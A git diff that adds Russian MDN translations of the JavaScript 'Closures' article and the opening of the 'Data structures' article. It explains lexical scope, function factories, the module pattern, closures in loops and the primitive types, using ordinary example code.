+title: Замыкания
+slug: Web/JavaScript/Closures
+tags:
+  - ES5
+  - Замыкание
+translation_of: Web/JavaScript/Closures
+---
+<p>{{jsSidebar("Intermediate")}}</p>
+
+<p class="summary">Замыкание — это комбинация функции и лексического окружения, в котором эта функция была определена. Другими словами, замыкание дает вам доступ к <a href="/ru/docs/Glossary/Scope">Scope</a> внешней функции из внутренней функции. В JavaScript замыкания создаются каждый раз при создании функции, во время ее создания.</p>
+
+<h2 id="Лексическая_область_видимости" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Лексическая область видимости</h2>
+
+<p>Рассмотрим следующий пример:</p>
+
+<div>
+<pre class="brush: js notranslate">function init() {
+    var name = "Mozilla"; // name - локальная переменная, созданная в init
+    function displayName() { // displayName() - внутренняя функция, замыкание
+        alert (name); // displayName() использует переменную, объявленную в родительской функции
+    }
+    displayName();
+}
+init();</pre>
+</div>
+
+<p><code style="font-size: 14px;">init()</code><span style="line-height: 1.572;"> создаёт локальную переменную </span><code style="font-size: 14px;">name</code><span style="line-height: 1.572;"> и определяет функцию </span><code style="font-size: 14px;">displayName()</code><span style="line-height: 1.572;">. </span><code style="font-size: 14px;">displayName()</code><span style="line-height: 1.572;"> — это внутренняя функция </span><span style="line-height: 1.572;">— она определена внутри </span><code style="font-size: 14px;">init()</code><span style="line-height: 1.572;"> и доступна только внутри тела функции </span><code style="font-size: 14px;">init()</code><span style="line-height: 1.572;">. Обратите внимание, что функция</span> <code style="font-size: 14px;">displayName()</code><span style="line-height: 1.572;"> не имеет никаких собственных локальных переменных. Однако, поскольку внутренние функции имеют доступ к переменным внешних функций, </span><code style="font-size: 14px;">displayName()</code><span style="line-height: 1.572;"> может иметь доступ к переменной </span><code style="font-size: 14px;">name</code><span style="line-height: 1.572;">, объявленной в родительской функции </span><code style="font-size: 14px;">init()</code><span style="line-height: 1.572;">.</span></p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/78dg25ax/", "js,result", 250)}}</p>
+
+<p><a href="http://jsfiddle.net/xAFs9/3/" title="http://jsfiddle.net/xAFs9/">Выполните</a> этот код и обратите внимание, что команда <code>alert()</code>  внутри <code>displayName()</code> благополучно выводит на экран содержимое переменной <code>name</code> объявленной в родительской функции. Это пример так называемой лексической области видимости <em>(lexical</em> <em>scoping)</em>: в JavaScript область действия переменной определяется по её расположению в коде (это очевидно <em>лексически</em>), и вложенные функции имеют доступ к переменным, объявленным вовне. Этот механизм и называется Lexical scoping (область действия, ограниченная лексически).</p>
+
+<h2 id="Замыкание">Замыкание</h2>
+
+<p>Рассмотрим следующий пример:</p>
+
+<pre class="brush: js notranslate">function makeFunc() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  return displayName;
+};
+
+var myFunc = makeFunc();
+myFunc();
+</pre>
+
+<p>Если выполнить этот код, то результат будет такой же, как и выполнение <code>init()</code> из предыдущего примера: строка "Mozilla" будет показана в JavaScript alert диалоге. Что отличает этот код и представляет для нас интерес, так это то, что внутренняя функция <code>displayName()</code> была возвращена из внешней до того, как была выполнена.</p>
+
+<p>На первый взгляд, кажется неочевидным, что этот код правильный, но он работает. В некоторых языках программирования локальные переменные-функции существуют только во время выполнения этой функции. После завершения выполнения <code>makeFunc()</code> можно ожидать, что переменная <em>name</em> больше не будет доступна. Однако, поскольку код продолжает нормально работать, очевидно, что это не так в случае JavaScript.</p>
+
+<p>Причина в том, что функции в JavaScript формируют так называемые <em>замыкания</em>. <em>Замыкание </em>— это комбинация функции и лексического окружения, в котором эта функция была объявлена. Это окружение состоит из произвольного количества локальных переменных, которые были в области действия функции во время создания замыкания. В рассмотренном примере <code>myFunc</code> — это ссылка на экземпляр функции <code>displayName</code>, созданной в результате выполнения <code>makeFunc</code>. Экземпляр функции <code>displayName</code> в свою очередь сохраняет ссылку на своё лексическое окружение, в котором есть переменная <code>name</code>.  По этой причине, когда происходит вызов функции <code>myFunc</code>, переменная <code>name</code> остаётся доступной для использования и сохраненный в ней текст "Mozilla" передаётся в <code>alert</code>.</p>
+
+<p>А вот немного более интересный пример — функция <code>makeAdder</code>:</p>
+
+<pre class="brush: js notranslate">function makeAdder(x) {
+  return function(y) {
+    return x + y;
+  };
+};
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+console.log(add5(2));  // 7
+console.log(add10(2)); // 12
+</pre>
+
+<p>Здесь мы определили функцию <code>makeAdder(x)</code>, которая получает единственный аргумент <code>x</code> и возвращает новую функцию. Эта функция получает единственный аргумент <code>y</code> и возвращает сумму <code>x</code> и <code>y</code>.</p>
+
+<p>По существу <code>makeAdder</code> — это фабрика функций: она создает функции, которые могут прибавлять определённое значение к своему аргументу. В примере выше мы используем нашу фабричную функцию для создания двух новых функций — одна прибавляет 5 к своему аргументу, вторая прибавляет 10.</p>
+
+<p><code>add5</code> и <code>add10</code> — это примеры замыканий. Эти функции делят одно определение тела функции, но при этом они сохраняют различные окружения. В окружении функции <code>add5</code> <code>x</code> — это 5, в то время как в окружении <code>add10</code> <code>x</code> — это 10.</p>
+
+<h2 id="Замыкания_на_практике">Замыкания на практике</h2>
+
+<p>Замыкания полезны тем, что позволяют связать данные (лексическое окружение) с функцией, которая работает с этими данными. Очевидна параллель с объектно-ориентированным программированием, где объекты позволяют нам связать некоторые данные (свойства объекта) с одним или несколькими методами.</p>
+
+<p>Следовательно, замыкания можно использовать везде, где вы обычно использовали объект с одним единственным методом.</p>
+
+<p>Такие ситуации повсеместно встречаются в web-разработке. Большое количество front-end кода, который мы пишем на JavaScript, основанно на обработке событий. Мы описываем какое-то поведение, а потом связываем его с событием, которое создается пользователем (например, клик мышкой или нажатие клавиши). При этом наш код обычно привязывается к событию в виде обратного/ответного вызова (callback): <em>callback функция - функция выполняемая в ответ на возникновение события</em>.</p>
+
+<p>Давайте рассмотрим практический пример: допустим, мы хотим добавить на страницу несколько кнопок, которые будут менять размер текста. Как вариант, мы можем указать свойство font-size на элементе body в пикселах, а затем устанавливать размер прочих элементов страницы (таких, как заголовки) с использованием относительных единиц em:</p>
+
+<pre class="brush: css notranslate">body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+h2 {
+  font-size: 1.2em;
+}
+</pre>
+
+<p>Тогда наши кнопки будут менять свойство font-size элемента body, а остальные элементы страницы просто получат это новое значение и отмасштабируют размер текста благодаря использованию относительных единиц.</p>
+
+<p>Используем следующий JavaScript:</p>
+
+<pre class="brush: js notranslate">function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+};
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p>Теперь <code>size12</code>, <code>size14</code>, и <code>size16</code> - это функции, которые меняют размер текста в элементе body на значения 12, 14, и 16 пикселов, соответственно. После чего мы цепляем эти функции на кнопки примерно так:</p>
+
+<pre class="brush: js notranslate">document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+</pre>
+
+<pre class="brush: html notranslate">&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/7726/","","200")}}</p>
+
+<h2 id="Эмуляция_частных_private_методов_с_помощью_замыканий">Эмуляция частных (private) методов с помощью замыканий</h2>
+
+<p>Языки вроде Java позволяют нам объявлять частные (private) методы . Это значит, что они могут быть вызваны только методами того же класса, в котором объявлены.</p>
+
+<p>JavaScript не имеет встроенной возможности сделать такое, но это можно эмулировать с помощью замыкания. Частные методы полезны не только тем, что ограничивают доступ к коду, это также мощное средство глобальной организации пространства имен, позволяющее не засорять публичный интерфейс вашего кода внутренними методами классов.</p>
+
+<p>Код ниже иллюстрирует, как можно использовать замыкания для определения публичных функций, которые имеют доступ к закрытым от пользователя (private) функциям и переменным. Такая манера программирования называется <a class="external" href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">модульное программирование</a>: </p>
+
+<pre class="brush: js notranslate">var Counter = (function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  };
+})();
+
+alert(Counter.value()); /* Alerts 0 */
+Counter.increment();
+Counter.increment();
+alert(Counter.value()); /* Alerts 2 */
+Counter.decrement();
+alert(Counter.value()); /* Alerts 1 */
+</pre>
+
+<p>Тут много чего поменялось. В предыдущем примере каждое замыкание имело свой собственный контекст исполнения (окружение). Здесь мы создаем единое окружение для трех функций: <code>Counter.increment</code>, <code>Counter.decrement</code>, и <code>Counter.value</code>.</p>
+
+<p>Единое окружение создается в теле анонимной функции, которая исполняется в момент описания. Это окружение содержит два приватных элемента: переменную <code>privateCounter</code> и функцию <code>changeBy(val)</code>. Ни один из этих элементов не доступен напрямую, за пределами этой самой анонимной функции. Вместо этого они могут и должны использоваться тремя публичными функциями, которые возвращаются анонимным блоком кода (anonymous wrapper), выполняемым в той же анонимной функции.</p>
+
+<p>Эти три публичные функции являются замыканиями, использующими общий контекст исполнения (окружение). Благодаря механизму lexical scoping в Javascript, все они имеют доступ к переменной <code>privateCounter</code> и функции <code>changeBy</code>.</p>
+
+<p>Заметьте, мы описываем анонимную фунцию, создающую счётчик, и тут же запускаем ее, присваивая результат исполнения переменной <code>Counter</code>. Но мы также можем не запускать эту функцию сразу, а сохранить её в отдельной переменной, чтобы использовать для дальнейшего создания нескольких счётчиков вот так:</p>
+
+<pre class="brush: js notranslate">var makeCounter = function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+};
+
+var Counter1 = makeCounter();
+var Counter2 = makeCounter();
+alert(Counter1.value()); /* Alerts 0 */
+Counter1.increment();
+Counter1.increment();
+alert(Counter1.value()); /* Alerts 2 */
+Counter1.decrement();
+alert(Counter1.value()); /* Alerts 1 */
+alert(Counter2.value()); /* Alerts 0 */
+</pre>
+
+<p>Заметьте, что счетчики работают независимо друг от друга. Это происходит потому, что у каждого из них в момент создания функцией <code><span style="font-family: consolas,monaco,andale mono,monospace;">makeCounter()</span></code> также создавался свой отдельный контекст исполнения (окружение). То есть приватная переменная <code>privateCounter </code>в каждом из счетчиков это действительно отдельная, самостоятельная переменная.</p>
+
+<p>Используя замыкания подобным образом, вы получаете ряд преимуществ, обычно ассоциируемых с объектно-ориентированным программированием, таких как изоляция и инкапсуляция.</p>
+
+<h2 id="Создание_замыканий_в_цикле_Очень_частая_ошибка">Создание замыканий в цикле: Очень частая ошибка</h2>
+
+<p>До того, как в версии ECMAScript 6 ввели ключевое слово <a href="/en-US/docs/JavaScript/Reference/Statements/let" title="let"><code>let</code></a>, постоянно возникала следующая проблема при создании замыканий внутри цикла. Рассмотрим пример:</p>
+
+<pre class="brush: html notranslate">&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Ваш адрес e-mail'},
+      {'id': 'name', 'help': 'Ваше полное имя'},
+      {'id': 'age', 'help': 'Ваш возраст (Вам должно быть больше 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13026/", "", 200)}}</p>
+
+<p>Массив <code>helpText</code> описывает три подсказки для трех полей ввода. Цикл пробегает эти описания по очереди и для каждого из полей ввода определяет, что при возникновении события <code>onfocus</code> для этого элемента должна вызываться функция, показывающая соответствующую подсказку.</p>
+
+<p>Если вы запустите этот код, то увидите, что он работает не так, как мы ожидаем интуитивно. Какое поле вы бы ни выбрали, в качестве подсказки всегда будет высвечиваться сообщение о возрасте. </p>
+
+<p>Проблема в том, что функции, присвоенные как обработчики события <code>onfocus</code>, являются замыканиями. Они состоят из описания функции и контекста исполнения (окружения), унаследованного от  функции <code>setupHelp</code>. Было создано три замыкания, но все они были созданы с одним и тем же контекстом исполнения. К моменту возникновения события <code>onfocus</code> цикл уже давно отработал, а значит, переменная <code>item</code> (одна и та же для всех трех замыканий) указывает на последний элемент массива, который как раз в поле возраста.</p>
+
+<p>В качестве решения в этом случае можно предложить использование функции, фабричной функции (function factory), как уже было описано выше в примерах:</p>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Ваш адрес e-mail'},
+      {'id': 'name', 'help': 'Ваше полное имя'},
+      {'id': 'age', 'help': 'Ваш возраст (Вам должно быть больше 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/13024/", "", 200)}}</p>
+
+<p>Вот это работает как следует. Вместо того, чтобы делить на всех одно окружение, функция <code>makeHelpCallback</code> создает каждому из замыканий свое собственное, в котором переменная <code>item</code> указывает на правильный элемент массива <code>helpText</code>.</p>
+
+<h2 id="Соображения_по_производительности">Соображения по производительности</h2>
+
+<p>Не нужно без необходимости создавать функции внутри функций в тех случаях, когда замыкания не нужны. Использование этой техники увеличивает требования к производительности как в части скорости, так и в части потребления памяти.</p>
+
+<p>Как пример, при написании нового класса есть смысл помещать все методы в прототип его объекта, а не описывать их в тексте конструктора. Если сделать по-другому, то при каждом создании объекта для него будет создан свой экземпляр каждого из методов, вместо того, чтобы наследовать их из прототипа.</p>
+
+<p>Давайте рассмотрим не очень практичный, но показательный пример:</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+</pre>
+
+<p>Поскольку вышеприведенный код никак не использует преимущества замыканий, его можно переписать следующим образом:</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+</pre>
+
+<p>Методы вынесены в прототип. Тем не менее, переопределять прототип — само по себе является плохой привычкой, поэтому давайте перепишем всё так, чтобы новые методы просто добавились к уже существующему прототипу.</p>
+
+<pre class="brush: js notranslate">function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+</pre>
+
+<p>Код выше можно сделать аккуратнее:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">MyObject<span class="punctuation token" style="color: #999999;">(</span></span>name<span class="punctuation token" style="color: #999999;">,</span> message<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> name<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">toString<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> message<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">toString<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+<span class="punctuation token" style="color: #999999;">(</span><span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>getName <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+        <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name<span class="punctuation token" style="color: #999999;">;</span>
+    <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>getMessage <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+        <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message<span class="punctuation token" style="color: #999999;">;</span>
+    <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">call<span class="punctuation token" style="color: #999999;">(</span></span>MyObject<span class="punctuation token" style="color: #999999;">.</span>prototype<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<p>В обоих примерах выше методы определяются один раз — в прототипе. И все объекты, использующие данный прототип, будут использовать это определение без дополнительного расхода вычислительных ресурсов. Смотрите подробное описание в статье <a href="/ru/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Подробнее об объектной модели</a>.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Equality_comparisons_and_sameness")}}</div>
diff --git a/files/ru/web/javascript/data_structures/index.html b/files/ru/web/javascript/data_structures/index.html
new file mode 100644
index 0000000000..e02cffe0f7
--- /dev/null
+++ b/files/ru/web/javascript/data_structures/index.html
@@ -0,0 +1,310 @@
+---
+title: Типы данных JavaScript и структуры данных
+slug: Web/JavaScript/Data_structures
+tags:
+  - JavaScript
+  - Типы данных
+  - Учебник
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>Все языки программирования содержат встроенные типы данных, но они часто отличаются друг от друга в разных языках. Эта статья — попытка описать встроенные структуры (типы) данных, доступные в JavaScript, и их свойства. На их основе строятся другие структуры данных. Когда это возможно, то мы будем сравнивать типы данных в разных языках.</p>
+
+<h2 id="Динамическая_типизация">Динамическая типизация</h2>
+
+<p>JavaScript является <em>слабо типизированным</em> или <em>динамическим</em> языком. Это значит, что вам не нужно определять тип переменной заранее. Тип определится автоматически во время выполнения программы. Также это значит, что вы можете использовать одну переменную для хранения данных различных типов:</p>
+
+<pre class="brush: js notranslate">var foo = 42; // сейчас foo типа Number
+foo = "bar"; // а теперь foo типа String
+foo = true;  // foo становится типа Boolean
+</pre>
+
+<h2 id="Типы_данных">Типы данных</h2>
+
+<p>Стандарт ECMAScript определяет 9 типов:</p>
+
+<ul>
+ <li>6 типов данных являющихся примитивами:
+  <ul>
+   <li>{{Glossary("Undefined")}} (Неопределенный тип)  : <code>typeof instance === "undefined"</code></li>
+   <li>{{Glossary("Boolean")}} (Булев, Логический тип) : <code>typeof instance === "boolean"</code></li>
+   <li>{{Glossary("Number")}} (Число) : <code>typeof instance === "number"</code></li>
+   <li>{{Glossary("String")}} (Строка) : <code>typeof instance === "string"</code></li>
+   <li>{{Glossary("BigInt")}}  : <code>typeof instance === "bigint"</code></li>
+   <li>{{Glossary("Symbol")}} (в ECMAScript 6)  : <code>typeof instance === "symbol"</code></li>
+  </ul>
+ </li>
+ <li>{{Glossary("Null")}} (Null тип ) : <code>typeof instance === "object"</code>. Специальный примитив, используемый не только для данных но и в качестве указателя на финальную точку в <a href="/ru/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Цепочке Прототипов</a>;</li>
+ <li>{{Glossary("Object")}} (Объект) : <code>typeof instance === "object"</code>. Простая структура, используемая не только для хранения данных, но и для создания других структур, где любая структура создаётся с использованием ключевого слова <code><a href="/ru/docs/Web/JavaScript/Reference/Operators/new">new</a></code>: new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a>, new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a>, new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a>, new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a>, new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/WeakMap">WeakMap</a>, new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/WeakSet">WeakSet</a>, new <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a> и множество других структур;</li>
+ <li>и {{Glossary("Function")}} : <code>typeof instance === "function"</code>. Специальный случай, упрощающий определение типа для Функций, несмотря на то, что все функции конструктивно унаследованы от Object.</li>
+</ul>
+
+<p>И здесь нам необходимо сделать предостережение относительно использования оператора <code>typeof</code> для определения типа структур, т.к. все структуры будут возвращать <code>"object"</code> при его использовании, так как назначение <code>typeof</code> -- проверка типа данных, но не структур. Если проверить тип структуры всё же необходимо, то в этом случае желательно использовать оператор <a href="/ru/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a>, так как именно он отвечает на вопрос о том, какой конструктор был использован для создания структуры.</p>
+
+<h2 id="Примитивные_значения">Примитивные значения</h2>
+
+<p>Все типы данных в JavaScript, кроме объектов, являются иммутабельными (значения не могут быть модифицированы, а только перезаписаны новым полным значением). Например, в отличии от C, где строку можно посимвольно корректировать, в JavaScript строки пересоздаются только полностью. Значения таких типов называются «примитивными значениями».</p>
+
+<h3 id="Булевый_тип_данных">Булевый тип данных</h3>
+
+<p>Булевый тип представляет логическую сущность и имеет два значения: <code>true (истина)</code> и <code>false (ложь)</code>. Смотрите {{Glossary("Boolean")}} и {{jsxref("Boolean")}} для получения подробностей.</p>
+
+<h3 id="Null">Null</h3>
+
+<p>Этот тип данных имеет всего одно значение: <code>null</code>. Смотрите {{jsxref("null")}} и {{Glossary("Null")}} для получения подробностей.</p>
+
+<h3 id="Undefined">Undefined</h3>
+
+<p>Переменная, которой не было присвоено значение, будет иметь значение <code>undefined</code>. Смотрите {{jsxref("undefined")}} и {{Glossary("undefined")}} для получения подробностей.</p>
+
+<h3 id="Числа">Числа</h3>
+
+<p>В соответствии со стандартом ECMAScript, существует только один числовой тип, который представляет собой <a href="https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%BE_%D0%B4%D0%B2%D0%BE%D0%B9%D0%BD%D0%BE%D0%B9_%D1%82%D0%BE%D1%87%D0%BD%D0%BE%D1%81%D1%82%D0%B8">64-битное число двойной точности согласно стандарту IEEE 754</a>. Другими словами, <strong>специального типа для целых чисел в JavaScript нет</strong>. Это означает, что при числовых операциях вы можете получить неточное (округлённое) значение. В дополнение к возможности представлять числа с плавающей запятой, есть несколько символических значений: <code>+Infinity</code> (положительная бесконечность), <code>-Infinity</code> (отрицательная бесконечность), и <code>NaN</code> (не число).</p>
+
+<p>Для получения самого большого или самого меньшего доступного значения в пределах <code>+/-Infinity</code>, можно использовать константы {{jsxref("Number.MAX_VALUE")}} или {{jsxref("Number.MIN_VALUE")}}. А начиная с ECMAScript 2015, вы также можете проверить, находится ли число в безопасном для целых чисел диапазоне, используя метод {{jsxref("Number.isSafeInteger()")}}, либо константы {{jsxref("Number.MAX_SAFE_INTEGER")}} и {{jsxref("Number.MIN_SAFE_INTEGER")}}. За пределами этого диапазона операции с целыми числами будут небезопасными, и возвращать приближённые значения.</p>
+
+<p>Ноль в JavaScript имеет два представления: -0 и +0. («0» это синоним +0). На практике это имеет малозаметный эффект. Например, выражение <code>+0 === -0</code> является истинным. Однако, это может проявиться при делении на ноль:</p>
+
+<pre class="brush: js notranslate"><code>&gt; 42 / +0
+Infinity
+&gt; 42 / -0
+-Infinity</code></pre>
+
+<p>Хотя число в большинстве случаев представляет только своё значение, JavaScript предоставляет <a href="/ru/JavaScript/Reference/Operators/Bitwise_Operators" title="en/JavaScript/Reference/Operators/Bitwise_Operators">несколько бинарных операций</a>. Они могут использоваться для того, чтобы представлять число как несколько булевых значений, с помощью <a class="external" href="https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BC%D0%B0%D1%81%D0%BA%D0%B0">битовой маски</a>. Это считается плохой практикой, так как JavaScript предлагает другие способы представления булевых значений (например, массив элементов с булевыми значениями или объект, содержащий набор булевых свойств). Кроме того, битовые маски часто делают код более трудным для чтения, понимания и дальнейшей поддержки. Эта техника может быть необходима в условиях технических ограничений, таких как объём локального хранилища данных, или в такой экстремальной ситуации, когда каждый бит передаваемый по сети на счету. Данный подход следует использовать как крайнюю меру, когда не остаётся других путей для необходимой оптимизации.</p>
+
+<h3 id="Текстовые_строки">Текстовые строки</h3>
+
+<p>В JavaScript для представления текстовых данных служит тип {{jsxref("Global_Objects/String", "String")}}. Он представляет собой цепочку «элементов» 16-битных беззнаковых целочисленных значений. Каждый такой элемент занимает свою позицию в строке. Первый элемент имеет индекс 0, следующий — 1, и так далее. Длина строки — это количество элементов в ней.</p>
+
+<p>В отличие от языков подобных C, строки в JavaScript являются иммутабельными. Это означает, что после того, как строковое значение создано, его нельзя модифицировать. Остаётся лишь создать новую строку путём совершения некой операции над исходной строкой. Например:</p>
+
+<ul>
+ <li>Получить часть исходной строки выборкой отдельных символов, либо применением метода {{jsxref("String.substr()")}}.</li>
+ <li>Объединить две строки в одну, применив оператор (<code>+</code>) или метод {{jsxref("String.concat()")}}.</li>
+</ul>
+
+<h4 id="Избегайте_повсеместного_использования_строк_в_своем_коде!">Избегайте повсеместного использования строк в своем коде!</h4>
+
+<p>Иногда может показаться соблазнительным использование строк для представления сложных структур данных. Это даст небольшие краткосрочные выгоды:</p>
+
+<ul>
+ <li>Легко соединять данные в кучу сложением строк.</li>
+ <li>Легко отлаживать (данные выглядят «как есть», в читаемом текстовом виде).</li>
+ <li>Строки — это распространённый формат данных, используемый разнообразными API (<a href="/ru/docs/Web/API/HTMLInputElement" title="HTMLInputElement">поля ввода</a>, значения <a href="/ru/docs/Storage" title="Storage">локального хранилища</a>, {{ domxref("XMLHttpRequest") }} возвращает ответ в виде строки, и т. д.) и использовать только строки может показаться заманчивым.</li>
+</ul>
+
+<p>Несмотря на то, что в строке можно выразить данные любой сложности, делать это — не самая лучшая идея. Например, используя разделитель, строку можно использовать как список элементов (массив JavaScript будет более подходящим решением). К сожалению, если такой сепаратор встретится в значении одного из элементов, такой список будет сломан. Выходом может стать добавление символа экранирования, и т. д. Всё это потребует добавления множества ненужных правил, и станет обременительным при поддержке.</p>
+
+<p>Используйте строки только для текстовых данных. Для составных структур преобразуйте строки в подобающие конструкции.</p>
+
+<h3 id="Тип_данных_Символ_Symbol">Тип данных Символ (Symbol)</h3>
+
+<p>Символы являются нововведением JavaScript начиная с ECMAScript 2015. Символ — это <strong>уникальное</strong> и <strong>иммутабельное</strong> примитивное значение, которое может быть использовано как ключ для свойства объекта (смотрите ниже). В некоторых языках программирования символы называются атомами. Их также можно сравнить с именованными значениями перечисления (enum) в языке C. Подробнее смотрите {{Glossary("Symbol")}} и {{jsxref("Symbol")}}.</p>
+
+<h3 id="Тип_данных_Большое_целое_BigInt">Тип данных Большое целое (BigInt)</h3>
+
+<p><code>BigInt</code><font><font> является встроенным объектом, который предоставляет способ представления целых чисел, которые больше 2 </font></font><sup><font><font>53</font></font></sup><font><font>, что является наибольшим числом, которое JavaScript может надежно представить с помощью </font></font><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="JavaScript-объект Number - это объект-оболочка, позволяющий работать с числовыми значениями.  Объект Number создается с помощью конструктора Number ().  Номер объекта типа примитива создается с помощью функции Number ().">Number</a></code><font><font> примитива.</font></font></p>
+
+<pre class="brush: js notranslate"><code>&gt; let bigInt = 19241924124n;
+&gt; console.log(bigInt);
+19241924124n
+&gt; console.log(typeof bigInt);
+</code>"bigint"</pre>
+
